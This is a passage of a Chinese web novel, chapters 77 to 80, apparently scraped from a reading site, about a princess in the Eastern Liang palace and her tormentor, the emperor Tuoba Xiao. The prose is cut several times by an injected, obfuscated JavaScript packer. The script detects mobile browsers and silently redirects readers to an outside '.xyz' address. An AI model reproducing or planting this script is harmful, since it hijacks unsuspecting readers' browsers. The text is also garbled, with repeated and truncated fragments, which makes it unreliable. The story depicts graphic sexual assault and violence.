深秋的寒风卷着枯叶掠过春来殿的后院,我跪在凋零的花圃中央,指尖深深插入冰凉的泥土。 那些尚未扎根就被掘起的花苗蔫萎在旁,茎叶上凝着霜痕。 柏夫人苍白的面容在土坑中显得格外平静,枯叶打着旋儿落在她华丽的衣襟上。 我颤抖着将白布重新裹紧她冰冷的身躯,布料下隐约可见她干瘦的轮廓。 我小心翼翼地托住她的肩膀和腿弯,将她放入新挖的泥坑中。 潮湿的冷土,细碎的土粒渐渐掩去她的轮廓。风撕下枝头最后几片残瓣,我将它们拢在掌心,连同春来殿仅剩的春色,一起盖在那微微隆起的土丘上。 当最后一捧土落下时,我的指甲缝里已嵌满黑泥。有几滴温热的东西砸在手背上,在泥土里洇出深色的圆点。 我低声对她呢喃:“暂时没有墓碑,又不想将就。你等我……等我离开,我带你去更好的地方。那里没有约束、没有爱恨情仇、没有家国大业……” 喉间突然哽住,白雾在空气中凝结。我死死按住抽痛的心口,神色凝重,额头上的汗珠暴露了我身体的不适。 “你先在这儿好好休息吧。没人可以带走你……” 远处传来沉闷的报时钟声,惊起栖鸦扑棱棱掠过枯枝。 我撑着膝盖缓缓起身,裙摆沾满泥浆,在暮色中渐渐凝成铁锈般的暗红。 “玉笛。” 暗处传来破空之声,那抹青影应声而来,依旧是暗淡的青色。伸手接住它时,冰凉的触感顺着指尖蔓延至心脉。 “我知道你能做的事很多,可不可以,保管好柏夫人的身体,等我们离开的那一天,我要带她一起走。” 玉笛暗暗发出青光回应我。 暗青色的流光从孔洞中溢出,悲怆的笛声呜咽着盘旋而起响彻春来殿后院。金色的流光钻进新坟,渗入泥层。光芒淡化为寒芒,直至彻底消散。 “至于那些道士、白衣人……” 后槽牙咬得生疼,血腥味在口腔里蔓延。闭眼的瞬间,积蓄多时的泪终于砸在笛身上。 握着玉笛的手紧了紧,发泄最后一点怒意。 “一个不留。” 第一次被五六名侍女服侍着沐浴更衣,都是前院来的人,奉皇帝之命,将我清洗干净,彻底洗去我身上的邪祟。 温热的水汽氤氲在檀木浴桶周围,她们纤细的手指拂过我的肩颈,香露的气息在空气中弥漫。 不同春来殿服饰的料子,崭新的绸缎中衣触肤生凉。 鎏金皇宫马车停在殿前时,我踩着描金脚踏犹豫了一瞬,回头望向守在春来殿门口的阿丘。 “若能回来,明早我想喝莲子羹。” 阿丘明白我的意思,屈膝跪在地上向我拜别。 车厢内壁包着暗纹锦缎,小几上香炉里飘出一缕青烟,随着马蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拉开兴宁殿的大门,夜风从殿外卷入,吹得衣袂翻飞。 身后的拓跋枭一脚踩在床沿,手肘撑在屈起的膝盖上,在烛光下投下一片浓重的阴影。 整个寝殿的空气仿佛都随着他这一踏而凝固,连飘动的帷幔都静止了一瞬。 “薄情寡义之人。你对柏夫人一无所知,不准那么说她。” “呵,今夜着实有趣。” 我半回头恶狠狠瞪着拓跋枭。他却像是瞧见了张牙舞爪的幼兽,薄唇勾起一抹玩味的弧度,眼底暗芒流转。 半晌后他缓缓直起身,明明相隔数丈,那股压迫感却让我呼吸一窒。 “出言不逊,忘恩负义。今夜的折子,你想了多久?” 这个人叽里呱啦说什么话。 我懒得与他争辩,转身就要跨过门槛。 “听好,你若踏出这道大门,明日朕便举兵突围定边军。公主可还记得,那个叫贺祈源的人,是怎么死的?” 夜风骤然凛冽,吹散了我鬓边的碎发。我凝着目光怒视他。 “……是你?是你派人去赵国,杀了贺祈源?” “朕不过不过听闻与他成亲之人的相貌,与赵国公主如出一辙。仅此而已。至于他的死——” 拓跋枭忽然冷笑一声。 “杀他的,另有其人。你拼命护住的人,或许就是杀人凶手呢。” 77. 凤箢移宫 守在寝殿外的宫人无声将我面前敞开的门又合上,顺便奉上“节哀顺变”的怜悯。 我仰头对身后之人讥讽道:“亡灵仍在,陛下外出堆积下来的朝中事务繁重,怎会还有如此心思?” 那人没有回答,只是动了动身子,换了个舒服些的姿势斜靠在床踏软垫上。 我自知逃不出去,唯有迎战。转过身,无力背靠上门板,双目无神地与他对看。 “洗尘宴那日,瑶池亭畔,朕看到的人是你?” “……是我。” 那又如何? 拓跋枭许久没说话,那双无光的双目注视着我,似要透过身体窥视灵魂。 “孤魂?” “啊?” 我当自己听错了话,他装出头疼的样子,欲言又止,扶额轻叹道:“又出来扰乱朕的心神,几次三番的,朕真是被你……罢了,今夜准许你服侍朕,过来罢。” ……这个人到底在说什么疯话??传闻中的东凉皇帝背地里竟是个疯子?我得小心别染上疯病…… 拓跋枭见我不动,换了个姿势,上身后仰,慵懒地坐在那儿正对我。 “愣着作甚?过来。今夜破例许你用齿舌。” “啊?!你在说屁——” 拓跋枭默然脱光衣服,敞开双腿以帝王之姿坐在床沿。 我与他隔着寝殿宽度的距离,想逃,但不敢逃。我答应过贺祈骁会想方设法保全东凉不会举兵攻打赵国,可……没说会走到这地步啊! ……和亲不就暗示了吗……我为何才想起…… 拓跋枭眉目凛冽大步走过来,擒住我的手腕带往床榻边,奋力将我甩上去。 “啊——!” 宽大的身体压下来,暴力扯开我的衣裳。撕扯成碎片的衣裳被丢至一旁取暖的火炉里,火光燃起,殿内的温度再次拔高。 “不知天高地厚。你该叫朕什么?” “什、什么?你脑子出问题了!一直说什么胡话!你松开我!” “陛、下。” 他一字一顿告诫完毕后,拔下我发间的白梅步摇随手丢弃,欺身压下来。 白梅破,碎满地。 庞大的力量压得我喘不过气,奋力推搡他。手腕倏然间如被枷锁禁锢在头两侧,腕骨的痛与理智濒临溃败的折磨遏制着我。 “啊!你——你起开!” “今夜是受了什么邪毒?由朕来主动,总行吧?” “行你大爷!格老子滚开!” 扶玉弄珠之人的手带着怨气,似要将脆弱的玉珠碾成粉碎般不知怜惜。 “你不许——你!你做什么?!离我远点!” 我抬脚挥拳用力反抗,他竟俨然不动。一个巴掌呼过来,力道之大,我的眼前黑了片刻,生生挣扎不动。 “不怪朕动手。” 他抓住我乱蹬的脚踝举过我的头顶,舌尖舔舐后腿激起的痒意让我瞬间清醒。 “不行……你……出去啊……” 有鸟鸣,有雨声,有竹林树叶的窸窣声,还能听到宫人匆忙的脚步声……我是睡着了吗?还是折磨到晕过去了…… 我睁开双眼,不知自己何时睡着了,此时醒来,正躺在拓跋枭的小腹上。我抬起虚弱无力的手擦掉脸上的泪痕,拓跋枭的手搭在我的身上。 昨夜被他缠在手腕上的丝带还连接在我与他的腕处。向后转身是拓跋枭恶心的嘴脸,若不转身又是那恶心的凶器…… 想吐。 我只好平躺着,听雨声切切,盯着头顶的帷幔发呆。 头靠之人动了动身,在不打扰我休息的幅度内。 “深宫路远,你今日便搬到前院来,省得朕日后往春来殿跑。” “放我回去……” 拓跋枭只是撑着脑袋静静看着我,嘴角带着讥讽的笑。 “春来殿住得那么舒心?竟让你舍不得走了?” “放我,回去。” 我能感觉到自己的眼睛里已经没有光,身体没有被褥掩盖冷得发抖。一阵窸窣的声音,拓跋枭一只手掰住我的下巴,强硬对视。 “……让朕猜猜,你和夏逸飞,藏着什么秘密。他在东凉校场上见过你,还说你是神女下凡?当初在荒漠——” “放、我、回、去。” 我垂眸瞪着他,他却舒心一笑。蛮狠地甩开我的脸,取出枕头下藏着的匕首,割开他手腕上的丝带。 “今夜春来殿侍寝,朕不想再看到你这副晦气模样。” 回到春来殿,我将自己泡在浴池里,里里外外洗了四遍。 阿丘端来前院送来的香露,擦拭在我皮肤上,说是李皇后送来的,说月华池那日见我皮肤粗糙,心疼至极,特命人去凉州带了些香露给我。 阿丘询问我要不要抹上,因为拓跋枭说今夜会来。 我婉拒道他不会来,那瓶香露也让阿丘拿去房中与其他姑娘享用。 没人会把时间浪费在一个无趣之人身上。 “我们哪敢用如此上佳之物。还是给公主留在房中,或许公主心血来潮——” “那便扔了罢。” 阿丘面露为难。 我不为难她,让她放那儿我自己去扔。 入夜,已是后半夜。 我没料想到拓跋枭当真会到春来殿,明明我都摆出那副对他恨之入骨的晦气模样。 春来殿自然不会迎接他而收拾装扮一番,拓跋枭一脸嫌弃地环视和亲公主的寝殿。 用脚踢开脚边柏夫人送我的蹴鞠,拓跋枭想来拉我的手,被我一下后退躲开。 “朕救了你,你就这么报答朕?” “殿下救了我?何年?何月?何日?陛下即是我的救命恩人,我为何一无所知?” 他伸手拉住我,拖拽着我与他走到床榻边,引我坐在他腿上。 “柏氏托人传口信来,说你亲口告诉她,你不是赵国清漪公主。还要朕到秋雨殿,她细细讲述给朕听。” “……” 我不语,拓跋枭的手指勾住我腰间的丝带,将我扯向他。 “你悼念背弃之人,有何感想?” “不可能。柏夫人不是那种人。她不会背弃我。” “要朕找来中间传话的人吗?” “……” “来人,去把秋雨殿的侍女通通叫来。” 守在门外的宫人匆忙离开,稍后带着声音熟悉的侍女出现在门外。拓跋枭不许有人进屋,所以他们只跪在门外等候问话。 “将你那日替柏氏传达的话,一字不漏复述一遍。” 颤颤巍巍的声音从门外传来。 “柏夫、夫人说……她亲耳听到清漪公主说,说自己不是公主……公主的原名和身份……请……还请殿下到秋雨殿,夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拓跋枭寻遍东凉,均寻不见她的尸骨。 那姑娘死后,春来秋雨殿再无人居住。 柏夫人取名昭阳,生来阳气充沛、能克阴。进宫后,拓跋枭以嫌弃其相貌丑陋为由,赐予夫人,撵至荒草蔓生的春来秋雨殿。 那里原本并不是人们口中的幽宫,自那姑娘离开后,常有人说在右边的院子,也就是她常住的春来院,总能看到一缕孤魂游荡。 柏夫人害怕,便请求将春来秋雨殿用一墙隔开,将原本的秋雨院和春来院,改造成如今的模样。 “春来秋雨”之名,是那人留下的。如今的后宫,除了李皇后和陈美人,当年见过那姑娘容貌的人,都以离奇的方式或死或消失。 柏夫人住进秋雨殿后,请了道士驱邪。道士说,春来殿的阴气过重,无法完全驱散,好在秋雨殿残留的孤魂飘去了瑶池。因与仙界瑶池同名,孤魂被困池边,不会再飘去别处。 此话传到了拓跋枭耳力,那之后,他常去瑶池与孤魂见面。 陛下中了从秋雨殿跑出来的邪祟。 宫中流言蜚语四起,拓跋枭一怒之下斩杀了最初驱邪的道士,下令宫中不得再有道士出现。 柏家世代尊崇歪门邪教,柏夫人中毒身亡后,按照教派传统,需剃干净身上的毛发,净肤后驱邪火葬。 东凉皇宫无人知晓这项传统,除了当初和柏夫人一起嫁进皇宫的侍女。 名唤阿丘。 78. 美人如月 已近辰时三刻,过了早朝的时间,拓跋枭还赖在兴宁殿的床榻上不走,一手环住我的腰,一手拨弄我披散的发丝。粗糙的指腹不经意摩挲脸庞的皮肤,惊起一阵恶心的颤栗。 侍从来报前殿众臣早已到齐候驾,他却漫不经心地挥手,命众人散去改日再议。送来的折子眼看着被搁置堆满御案,拓跋枭终于起身走到岸边提笔。 “朕想写封信给赵国皇帝,麻烦赵国第一才女代笔。” 还以为他终于肯放过我…… 我躺在床踏上懒懒翻了身背对他:“朝中那么多文官,为何不找他们?” 感知到拓跋枭转身注视我,走回塌边坐下。 “公主不想给父亲写一封亲笔书信吗?还是说你——” 我忽地起身夺过他手里的笔,打断他的话:“我写!不过晚间回春来殿再写,陛下也该去处理朝中事务了。” “回宫?说什么荒唐话。过来,此次用口舌,别再又咬到。” “……恳请陛下不要为难我。” 舌你个鬼!格老子的,信不信玉笛一根弦勒死你个龟儿子! 我心底暗暗用西蜀学来的脏话骂人。 拓跋枭似乎就喜欢用这等下流之话惹我羞恼,一手捏着我的下巴把玩,猝不及防咬了口我脸颊上的肉。 “你从前那么听话,最近怎么了?一个幻影,还敢顶嘴?” 上次说我是鬼,这次又说我是个幻影……我到底是个什么……还有,这么恶心的要求我从前怎么可能听他的话! “折腾了一晚上,陛下放过我吧……” 他唤来守在门外侍女进殿伺候他更衣,我蜷缩在被褥里,生怕被人看到正脸。迄今为止,李皇后多少知道了兴宁殿每晚有人来侍寝,却始终不知是何人。只要我不露出马脚,李皇后怎么都想不到我身上。至于那瓶玉露……暂且当她想拉拢人心的借口吧。 “也罢,待人定时再来。若朕仍在御书房批阅奏章,你便先行安歇罢。” “……” 他的身子是铁打的吗?铁打的也经不起这般折腾吧。 “今晚就不能歇会儿吗……” “你说什么?” 我捂在被窝里嘀咕,他自然没听清,我也不想重复。眨眼的功夫,我头顶的被褥被一把掀开,刺眼的亮光照得眼睛睁不开。拓跋枭的脸倒悬在上方,饶有兴趣地盯着我。 “等我回来。” “……” 等你大爷!小心老子那把刀给龟儿子削木头似的“咔嚓”了! 檀木香气从春来殿门后涌出,我是从兴宁殿走回来的,怕马车张扬,被李皇后发现。门被关的严严实实,也不知道阿丘今天又在捣鼓什么。 院内一片烟雾缭绕中,我见到跪在灵台前祈祷的阿丘。 “听说陈美人疯了。” “疯了?” 阿丘端来茶点,与我在春来殿后院闲话。 “宫里最近传得沸沸扬扬,陛下又得新欢,早朝迟到、公务堆积也要先寻佳人。陈美人知道后几度昏厥,身子脸色更差了。御医都坐视不管,似乎是得了谁的令,不许替陈美人诊治。” 下令的那个谁,显而易见。 “所以姐妹们都说在各处点香驱邪,祈求疯病原理。” 难怪今天一回来就闻到檀香的味道…… 节气入冬,阳气深藏而阴寒之气旺盛,本就是神情妄动而不安宁之际。陈美人之事我多少从阿丘口中听过,也在月华池宴上亲眼见过。那句身体,若再不医治,恐怕更为严重。 “我去看看陈美人。” 话音落,阿丘起身拦住我。 “公主不怕人说闲话吗?要是被皇后娘娘知道……” “我们走着去,不引人注目。” 朱红高墙,阴森至极。我和阿丘一路贴着墙根走,尽量避开常有人经过的地方。我预想中的精彩冒险并未发生,反而一路畅通。忽然想起阿丘先前说的关于陈美人的流言,估计是因为离谱的话,大家都对这一块避而远之吧。 阿丘自称今日烧过香拜过神灵,疯病不会染上身,大胆陪我走一趟。 “公主,兰熏殿会不会有人把守啊?” “说不准……玉笛。” 我看了看左右,确定没有外人后,压低声音召唤玉笛。阿丘不解,发出疑惑:“嗯?公主,我不是玉笛,我是阿丘。” 青色划过眼前,恢复青玉色的玉笛停悬在我和阿丘面前,我欣慰地接住它。 “它它它它它——它从哪里飞出来的!” 阿丘惊吓得趴在一侧的墙壁上,我左顾右盼装傻。 “说什么呢,哪儿有东西飞出来。” 阿丘揉了揉眼睛,信了我的话,以为是自己看走了眼。 “可可可是,这玉笛,它——” “嘘。安静。” 我示意阿丘噤声,捧起玉笛贴上额头。 “去探探兰熏殿有没有守卫,有的话……打晕就行,别给打死了。” 下一刻,玉笛高飞,朝着兰熏殿的方向如离弦之箭射出。阿丘愣住半晌,难以置信地指着玉笛惊呼:“它、它听懂了?!笛子能听懂人说话?!” “嗯?谁?我不知道你在说什么。” 虽长久无帝王光顾,兰熏殿倒收拾得精致。阿丘与这里的侍女相识,道过身份后,领我去了陈美人所在的地方。花香熏染的室内,陈美人以手扶额坐在桌边,唉声叹气。不愧是拓跋枭只见一面便带回皇宫的美人,一颦一笑都牵人心弦,挪不开眼。 “你是谁!” 疯疯癫癫的陈美人察觉到我后立马警觉起来,神色慌张得失了仪态,狼狈地跌坐在地上。兰熏殿的侍女也见多不怪,悄悄上前扶起地上的陈美人。 得先让她冷静下来,对我放松警惕,否则我怎么从她嘴里套出我想要的信息。我脸上浮起笑意,在长袖的掩盖下清了清嗓子,道:“我是陛下派来的女御医,还请美人乖乖坐好。” 陈美人闻言眸光颤了颤,许是太久没听到陛下的名号,内心的雀跃浮上嘴角。 “陛下果然还是关心我的……” 她在我面前乖乖端坐,我索性搭上她的脉搏,在话疗前看看她体内脉象异常。确实比常人虚弱很多,我起身走到岸边,拿起桌上的纸笔开始记录。 “……我见过你……” 虚弱的声音细弱蚊蝇,我笑着回道:“嗯,我也见过你,在月华池。” “不是!不是月华池!不是!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈美人大喜过望,傻乐呵着两手握住我感动得泣不成声。 “不过我很好奇什么名字让他如此生气?你还记得吗?” 笑容凝固在陈美人脸上,本来流下感动的泪水转瞬间变悲伤之泪。我赶忙安慰:“想不起也没关系!不要为难自己,身子重要!身子重要!” 许久之后,陈美人冷静下来。等她的间隙,我将桌上的糕点和一壶茶吃个精光。最近劳累得厉害,食欲也大增。 陈美人用手绢擦着眼角说道:“她在我之后入的宫,是陛下曾经最爱的人。那人离开后,陛下虽常临兰熏殿,却也常去瑶池,与她的孤魂见面。兴宁殿守夜的侍卫还曾听见陛下在房中唤她的名字,似是与孤魂交欢……” “……好可怕。” 我就说东凉皇帝神志不清,多半脑子有问题吧。看来有此结论的人,不止我一个。 “嗯?等等——瑶池亭?兴宁殿?鬼?” 好熟悉的故事,熟悉到有种亲身经历过的感觉。 我不禁愣了,“那人的名字该不会姓南——” “不,那姑娘姓赵。” 我不禁舒了口气:“呼——吓我一跳。” “名风。” 陈美人神色镇定,与我讶异的神情截然不同。她以我没听清,又重复道。 “赵国公主,赵风。” 79. 西园春早 送药包去兰熏殿的途中,阿丘盯着怀中的药壶看了一路,眼神有些茫然。 “又是问诊又是偷着抓药,阿丘想不明白公主为何对陈美人那么好。这要被皇后发现,公主可得小心了。” “悬壶济世,不问缘由。李皇后不敢动我,我毕竟是赵国送来和亲的公主,她敢弄我,就是挑拨两国的关系。多年对战,东凉的军力也远不如前,眼下不宜开战。” “哇!阿丘再次对公主刮目相看!” 是战国七雄的名称没错了。齐楚燕韩之后,“赵风”腾空出世。还不确定陈美人说的是疯话还是当真见过我,将她治愈完全,重新找回拓跋枭对她的喜爱,我不就能摆脱拓跋枭的折磨嘛!一举两得的完美计划都能被我想出来,我不是天降奇才是什么! 轻车熟路窜进兰熏殿,将冷却的汤药交给侍女后,我四处寻找陈美人的身影。 “陈美人呢?” 侍女指了指浴池方向:“美人在沐浴。” 我眯起眼睛,贼兮兮地侧耳贴在门扉上。绝不是在偷听别人洗澡!不过,怎么听不见一点动静? 询问带路来的侍女:“里面没人伺候着?” “美人说困了,让我们在外面侯着。” 二话不说我推门而入,陈美人已经完全浸泡在水里没有挣扎。 “快拿浴袍来!!!” 安神的熏香浮动,命人添置了些炭火,室内变得暖和。我坐在床沿缝制手中安神的香囊,制好后偷偷放在陈美人枕下。安静后的疯癫美人如兰花般静雅,我望她出神,没忍住……鼻尖触碰到冰冷的皮肤,手背感受她脖颈脉搏的跳动…… 即将靠近的人忽然发出迷糊的声音,眼睛缓缓睁开。 “你醒了。感觉好些了吗?有没有哪里不舒服?” 我立马坐直身子问道。虚弱的人睁开眼,见我后露出失望的神情。 “清漪……公主?我这是……怎么了?身体好冷……” 我笑了笑,拿毛巾替她擦脸,又被重温的汤药端给她。 “你泡在浴桶里睡着了,幸好及时发现。我给你煮了暖身子的药,喝了就不冷了。” 她瘫在床踏上,双眼无神盯着上方。 “你救了我……你又救了我……为何救我?我这样的人,死了也无人在乎……陛下都不爱我了,我留着有什么用……皇后早看我不顺眼,次次想除掉我……太医院不肯为我治病,兰熏殿也被传成幽宫……” “别说不吉利的话,来把药喝了。” 我想扶她起身,她却像身子没骨头似的,软成泥潭,扶都扶不住。 “我梦到陛下……梦到他来见我……梦到他从凉州说带我走的那天……我以为……我以为自己已经完全取代了赵风……陛下为何还是不肯爱我……是我长得还不够美吗……” “我可没见过及你三分美色的人了。” 我放下手里的瓷碗,看着面如死灰的美人。 她望着一片虚无之处,那是一种欲死不得的悲怆。 屋外寒风起,今年的第一场雪即将落下。陈美人眼角滑出一滴泪,浸入枕巾,神色怔然。 “拓跋——陛下说了,等你身子养好,他就来兰熏殿见你。” 我拉过她的手,在她手心写了几个字:平心静气。因为不知道写什么,随手写了我最常告诫自己的话,只是想让指尖流转在她掌心时,她能将注意力放在我身上。 她回握住我的手,难得舒展眉头笑了笑,顷刻间,又变为苦笑说道:“陛下吗?他……怎么会说这等话……那可是陛下啊……” “你不信我?” “公主是救命恩人,自然是信的。可那是陛下……陛下不会说这等话。” 我笑着叹了口气,一把将她从床榻上拉起来,夺门而出。我没去看她的表情,只盯着头顶落下的大片雪花。 陈美人向我靠近半步,小心翼翼地收紧我牵住她的手。 今年的雪姗姗来迟。 我轻轻摩挲她的手背,说道:“那我们拭目以待!我如果没有骗你,陛下真来了兰熏殿,你就得把当年凉州同我一道的道士画像画下来。” 身子薄弱的陈美人站在我身后,被我挡去大半风雪,还算受得住。 她眼泪流得更厉害,但掩盖不住唇角的笑意。我攥紧她的手,替她挡去所有寒风,侍女见势送来披风给美人。 “……好。” “成交!” “公主为何那么高兴?比起陛下的宠爱,一幅画更重要?” “不,比起这两样东西,你的身子最重要。” 如倾倒般的雪花从苍穹泼下,兴宁府陷入万籁俱寂。 我穿着偏薄的秋衣走在去往前殿的路上,大雪模糊了视野,雾气太大,没人会发现我。但我还是有些警觉地确认了没有人跟着,加快脚步。 “陛下,清漪公主求见。” 御案前的拓跋枭合上手中文书,展开下一卷。 通报的宫人退下后,我步入御书房内,忐忑不安地环顾起一国之君日常处理政务的地方。 夏逸飞也曾在这里同拓跋枭商量军政事务吧…… “何事?” 案前的人头也不抬,我上前一步,手掌撑在书案上,直视他的眼睛。不知为何,今日颇有底气跟他斗到底。 “刚才宫人唤我清漪公主,陛下这回认清我是人是鬼了吗?” “说什么胡话。别打扰朕,回兴宁殿等着。” 我大步绕过书案上前,直接跨坐在他腿上。烛光跃入他的眼,大眼瞪小眼,他可算是看我了。 “几次见面身旁都有外人,怎么还能把我认成孤魂的……我很好奇。” “……呵。” 不屑一顾的笑。拓跋枭放下笔,扶住我的腰将我拉近,鼻息从耳朵开始一路喷洒深嗅,直至前胸。 “但凡你出现,不都是幻觉吗?过去求证了无数次,怎么今儿突然提起这事?” “因为——” 我低头吻住他,在他唇瓣上使劲儿咬了一口。鲜血顺着他的嘴角流出些。 “你看清楚,我不是鬼,我是一个活生生的人。” 闻言,拓跋枭脸色微微一变,语气沉下来。 “朕不喜欢最近的你。太放肆。是被朕骄纵惯了吗?嗯?” 隐忍怒意的话字字珠玑,拓跋枭扣在我腰上的手逐渐收紧。没有人情味儿的脸倏地放大,带着热度的唇齿捧在我的脸颊。 “啊!” 他居然又咬我! 我冷冷地俯视他,扯着嘴角冷笑道:“帝王不是信鬼神吗?请个道士来替陛下看看,是人是鬼,一目了然。” 他埋在我的锁骨上下,重重的呼吸着,如同野兽般啃食索取,留下标记。 “道士来若把你驱走了,朕是杀了他,还是放过他?” “……执迷不悟。你到现在都还视我为孤魂野鬼。” 我从他腿上离开,手腕被他拉住,又拽回去重新跨坐在他腿上。感受什么蠢蠢欲动之物,我扭动着身子往后挪了些。 是吃了什么壮阳的药物吗,这玩意儿都不会累吗! 我咽下口中差点脱口而出的污秽之语,正经道:“今日不宜房事!不对,不宜与我、臣妾房事!” 拓跋枭勾起一抹讪笑:“谁说的?” “观测天象说的。” “胡言乱语。” 我笃定道:“真的!我昨夜观天象,说陛下今日可去别处寻欢,可保东凉盛世太平。” 殿内的空气凝固,静地能听清门外落雪的声音。半晌后,拓跋枭锁紧眉头。 “……你想说什么?” “兰熏殿。” 拓跋枭冷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056792|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,料到我会说出这个名字似的。 我不慌不忙道:“陈美人何错之有?你如此对她,未免太过冷血。” 说完,我又阴阳怪气道:“好吧,你就是冷血之人。既如此,我也没必要和陛下在这儿耗着了。不就是死嘛,我一缕孤魂,死不了,大不了升天去。这样,陛下可真就再也见不到我了。” 我灵活地逃出拓跋枭的掌心,转身要走。 “……回来。” “陛下想清楚了?” 他有些不耐烦地起身越过我关上刚被我拉开一点缝隙的门,弯腰将我扛在肩上,丢到一旁的桌上。他阴恻恻笑着,拆散我的发髻,将衣裳扯松。 “等朕先尽兴了再议。” 我抬手撑在他□□的胸前抵抗。 “不行!那我不亏了!” “为何要帮她?可怜她?” “我只是不想再看到同样的悲剧,在我眼前二次上演。” 虽然厌恶你、恨你,但比起脆弱易逝的人命,我宁愿出卖自己。 滥好人,连我自己都觉得恶心。 不懂怜香惜玉的手抚摸过从发顶到脖颈的每一寸肌肤,好端端的手膀子生生被掐出红印子。 忽然想起信州茶楼听过的一则故事。 守在藏有天书洞穴外的狼群饥渴难耐,不顾神灵设下的禁律,戳破禁忌之地的封印字条,将魔爪深入阴暗之地,肆意妄为,搅乱一切。 它们的目的从来都不是天书,只是破坏的本性罢了。 拓跋枭给自己取这名,是有充分理由的,非常贴切。 无论是世人最亲密的轻吻还是拥抱,他都格外用力,我一面忍受着骨肉散架带来的疼痛,一面扼制心里冒出的邪念。 后背不知是不是压住书案上的笔杆,硌得疼,我挪动着上身,想把它弄走。冲破胸腔的喘息和怒气突然掐住我的肩膀。 “再动我就扇你。” 这人动不动扇人耳光,情到深处就自称我……整个皇宫最该驱邪的人是他吧…… 无奈作罢。我半阖着眼,越过他的发顶看雕花窗棂外的大雪纷飞。 “无聊之人的无聊之事。朕至今也想不明白,你当年到底是怎么逃出春来秋雨殿的?” 这话中赵风便是重生前的我之意昭然若揭,那夏逸飞又从何得知我南风的真名?当年东凉校场救下他,应该没有时间闲聊才对。 赵风的身份是赵国公主?莫非上一次的我也是顶替了和亲的公主进入东凉? 拓跋枭如约去了兰熏殿,我用毯子裹着酸痛的身子坐在春来殿前院的石阶前,想去房顶奈何上不去。 “要是夏逸飞在就好了……” 我望着檐顶,有些沉默。在我的印象中,夏逸飞是讨厌的话,是差点下毒害死我的人,为什么会产生他此时出现在春来殿多好的想法? 是身体吗……是身体发出渴求他的信号吗……好可怕的本性…… 我抱紧自己,想象着许久未见之人的脸,想象着他从背后拥住我的样子。雪花纷纷扬扬落下,如同医鹿山上的梅林簌簌飘落的花瓣。 “砚清……我不知道自己在做什么……我是不是哪里走错了?柏夫人的死对我打击太大,我怕陈美人也死于非命。我想救她,我只是想救她……可这哪里是救人的法子……下流、龌龊,我讨厌这样的自己……更讨厌享受其中的自己……” 我捂住脸,绝望地哭泣。怀中的玉笛从衣领处飞出,浮在我身侧,吹奏起我从未听过的曲子。 “这是什么曲子?我为何从未——” “此曲名为《天上月》。” 我怔愣看着身旁握住玉笛凭空出现的人,他替我擦去脸上的狼狈,似是安慰地吻上我的唇。 “顾影海底月,辞眸心上人。” “你是……我遇见的第二个人,顾辞?” 80. 杏花春雨 我抱紧自己,想象着许久未见之人的脸,想象着他从背后拥住我的样子。 “砚清……我快要撑不下去了……” 雪花落下,如同医鹿山上的梅林簌簌飘落的花瓣。 “……我不知道自己在做什么……我是不是哪里走错了?柏夫人的死对我打击太大,我怕陈美人也死于非命。我想救她,我只是想救她……可这哪里是救人的法子……下流、龌龊,我讨厌这样的自己……更讨厌享受其中的自己……” 我死死捂住脸,指缝间溢出破碎的呜咽,绝望地哭泣。 怀中的玉笛突然震颤,带着冰凉的触感从衣襟滑出,悬在泪眼朦胧的空中自顾自吹奏起来。 陌生的曲调像月光流淌过颤抖的脊背。 “这是什么曲子?我为何从未——” “此曲名为《天上月》。” 那道声音响起的瞬间,玉笛被人轻轻握住。 我仓皇抬头,只看见朦胧的白影俯身而来。 带着寒意的指尖抚过湿透的脸颊,在视线清晰前,有什么比月光更柔软的东西压上了我发抖的唇。 “顾影海底月,辞眸心上人。” 耳畔缓缓念出陌生却又熟悉的字词。 “顾……辞……你是……我遇见的第二个人,顾辞?” 我听见自己支离破碎的声音。他忽然将额头抵在我颈窝,一声无奈的笑轻响。 “不是你叫我来的吗?” “……” 所有声音都凝固在喉间。 我剧烈颤抖着,直到他袖间冷香浸透每一寸战栗的呼吸,才从齿间挤出那个辗转千遍的名字: “颜……砚清……” 尾音落进他骤然收紧的臂弯里。 我再也抑制不住,在他怀里彻底崩溃,嚎啕大哭起来。 所有的委屈、恐惧、孤独,都在这一刻决堤而出,化作滚烫的泪水浸透他的衣衫。 柳砚清沉默地收紧了手臂,任由我攥着他的衣襟,哭得浑身发抖。 我的哭声像是困在深山某种受伤的小兽,破碎而绝望,连呼吸都变得急促而混乱。 “砚、清……砚清……” 我一遍遍叫着他的名字,仿佛这样就能确认他的存在,确认他不是幻觉,不是梦境。 柳砚清轻轻抚着我的后背,指尖的温度依旧冰凉,却莫名让人安心。他的唇贴在我的发间,低低地应着:“我在。” 可这两个字却让我哭得更凶,眼泪像是永远流不尽似的,滚落在他胸前。 “我好累啊……我真的……好痛苦……我想你……我想回医鹿山,我想留在你身边……你在听吗?” 他叹了口气,手指穿过我的发丝,声音轻得像是怕惊扰了什么—— “嗯,我在听。我一直在……抱歉,没能出现帮你。” 我勉强止住抽噎抬头,眼眶通红地望向他:“你什么……你一直都在?” 